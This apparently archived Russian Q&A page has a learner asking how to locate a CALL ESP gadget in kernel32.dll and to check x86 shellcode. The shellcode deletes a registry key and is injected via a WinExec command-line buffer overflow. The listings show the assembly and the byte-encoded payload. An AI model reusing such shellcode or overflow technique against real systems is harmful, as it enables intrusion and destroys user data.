Адрес инструкции CALL ESP - Assembler

Узнай цену своей работы

Формулировка задачи:

Здравствуйте, подскажите пожалуйста, как найти адрес инструкции CALL ESP в библиотеке kernel32.dll? Учусь пользоваться IDA'ой но никак не получается. Открываю библиотеку с помощью IDA'ы, дальше Hex View и ищу FF D4. Но дело в том, что подобных сочетаний там много, чистого FF D4 нигде нет, есть 41 FF D4. Да и их адреса почему-то постоянно меняются. В начале показывает 00000001800BCA20, потом после переключения на IDA View и обратно показывает 00000001800BCA27, после переключения на Structures и обратно показывает 00000001800BCA28.
И ещё. Был написан шелл-код, который должен удалять ключ реестра. Может кто проверить, правильно ли он написан?
Листинг программы
  1. push ebp
  2. mov ebp, esp
  3. lea eax, [ebp + 36] #+байты шеллкода
  4. push eax
  5. xor eax, eax # не читать нули
  6. add eax, 1
  7. shl eax, 31
  8. add eax, 1
  9. push eax
  10. mov eax, 74E93C39h # адрес функции RegDeleteKey
  11. call eax
  12. mov eax, -1
  13. push eax
  14. mov eax, 76C139E4h # адрес функции ExitProcess
  15. call eax
Листинг программы
  1. WinExec("D:\\11prjct.exe "
  2. "123456789012"
  3. // тут будет адрес возврата
  4. "\x55"
  5. "\x8B\xEC"
  6. "\x8D\x45\x24" // + добавить байты для шеллкода
  7. "\x50"
  8. "\x33\xC0"
  9. "\x83\xC0\x01"
  10. "\xC1\xE0\x1F"
  11. "\x83\xC0\x01"
  12. "\x50"
  13. "\xB8\xC8\xC9\xB5\x74" // адрес функции RegDeleteKey
  14. "\xFF\xD0"
  15. "\xB8\xFF\xFF\xFF\xFF" // mov eax, -1
  16. "\x50"
  17. "\xB8\x64\x7F\x14\x76" // адрес функции ExitProcess
  18. "\xFF\xD0"
  19. "test", SW_SHOW);

Решение задачи: «Адрес инструкции CALL ESP»

textual
Листинг программы
  1. RegDeleteKey(HKEY_CURRENT_USER,(char*)ebp+36);

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

15   голосов , оценка 4.133 из 5

Нужна аналогичная работа?

Оформи быстрый заказ и узнай стоимость

Бесплатно
Оформите заказ и авторы начнут откликаться уже через 10 минут
Похожие ответы